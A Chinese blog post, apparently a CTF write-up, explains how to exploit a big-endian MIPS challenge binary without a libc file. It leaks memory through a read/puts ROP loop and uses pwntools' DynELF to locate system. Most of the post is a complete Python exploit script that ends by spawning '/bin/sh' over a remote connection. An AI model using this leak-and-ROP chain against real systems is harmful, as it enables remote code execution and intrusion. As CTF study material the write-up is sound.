美文网首页
PWN to MIPS by the DynELF

PWN to MIPS by the DynELF

作者: vul404 | 来源:发表于2021-05-05 01:06 被阅读0次

    参照https://www.jianshu.com/p/25d709016f4e,这道PWN题相对上一道增加了一些难度,主要是没有显式调用system函数,所以需要通过一些技巧找到libc里面的system函数加载地址。在有libc的情况下,通过先泄露其他函数的实际地址再加上其在libc里与system函数的偏移值就可以获得system函数的实际地址了,而在没有libc文件的情况下,有的时候可以配合pwntools中的DynELF模块来动态获取system函数地址,这也是本篇关键所在。


    由于DynELF需要先实现一个函数,这个函数的作用就是给定一个地址,最后可以获取这个地址上的内容,并且这个过程可以重复进行。而为了保证这个过程可以重复进行,就需要一个来读取数据,另一个来输出数据,查看导入表: 可以发现read函数可以用来读数据,puts函数可以用来输出数据,大致构想就是通过构造ROP链来调用read函数来等待数据,把等待来的数据存放在可以控制的栈空间里,然后再通过ROP链调用puts函数返回指定地址的数据信息,再通过ROP链调用read函数来等待数据的到来,这样就可以形成一个循环了。为了找到一个可控栈空间,首先需要在汇编代码里找到一个栈支点,这个支点可以改变sp寄存器的值,通过查找发现这个地方正好合适,这里既可以控制sp、fp也可以控制ra: 然后需要找到存放数据的地方,这个地址是可知的并且可以有写入数据的权限,ELF文件的bss段正好符合: 然后根据__libc_csu_init函数中的ROP组合起来就可以了:
    成功PWN图:
    from pwn import *
    
    context.arch = 'mips'
    context.endian = 'big'
    
    p = remote("ip",port)
    e = ELF('./ipowtn_reborn')
    gets = e.got['read']
    puts = e.got['puts']
    
    ii = True
    def leak(addr):
        global ii
        sp = 0x411f00 if ii else 0x411e00
        ii = not ii
        rop = p32(1) + p32(puts) + p32(0) + p32(addr) + p32(0) + p32(0) + p32(0x4011a0) + '2'*0x1c + p32(1) + p32(gets) + p32(0) + p32(0) + p32(sp) + p32(208) + p32(0x4011a0) + 'a'*0x34 + p32(0x400bb0)
        payload = 'a'*0x20 + p32(sp) + p32(0x4011c4) + "a"*0x1c + rop
        p.send(payload)
        buf = ''
        while True:
            n = p.recv(1, timeout = 0.3)
            if buf != '' and n == '':
                buf = buf[:-1] + '\0'
                break
            else:
                buf = buf + n
        return buf[:4]
    
    pl = ['We','are','grad','from','nomal','arch','bcz','W3Are']
    for x in xrange(9):
        i = 0
        for y in pl:
            p.sendline(y)
            m = p.recvline(timeout=0.1)
            if 'guess' in m:
                i = i + 1
                if i == len(pl):
                    for t in xrange(0x70, 0xf0):
                        p.send('hakker' + p8(t) + p8(0x98))
                        n = p.recvline(timeout=0.1)
                        if 'guess' not in n:
                            print str(x) + ': hakker' + chr(t) + chr(0x98)
                            break
                    break
                continue
            else:
                print str(x)+': '+y
                pl.remove(y)
                break
    
    p.recvuntil('go!')
    p.recvline()
    print 'start...'
    
    rop = p32(1) + p32(gets) + p32(0) + p32(0) + p32(0x411f00) + p32(152) + p32(0x4011a0) + '2'*0x34 + p32(0x400bb0)
    payload = "a"*0x20 + p32(0x411f00) + p32(0x4011c4) + "a"*0x24 + rop
    
    p.sendline(payload)
    rop = p32(1) + p32(gets) + p32(0) + p32(0) + p32(0x411e00) + p32(208) + p32(0x4011a0) + '2'*0x34 + p32(0x400bb0)
    payload = 'a'*0x20 + p32(0x411e00) + p32(0x4011c4) + "a"*0x1c + rop
    p.send(payload)
    
    dELF = DynELF(leak, u32(leak(gets)) - 0xe0000)
    esystem = dELF.lookup('system')
    print 'system addr: %04x' % esystem
    
    sps = 0x411f00 if not ii else 0x411e00
    rop = p32(1) + p32(sps) + p32(0) + p32(sps + 96) + p32(0) + p32(0) + p32(0x4011a0) + '/bin/sh\0'
    payload = p32(esystem).ljust(0x20, '0') + p32(sps) + p32(0x4011c4) + "a"*0x1c + rop
    p.sendline(payload)
    
    p.interactive()
    

    相关文章

      网友评论

          本文标题:PWN to MIPS by the DynELF

          本文链接:https://www.haomeiwen.com/subject/wpahdltx.html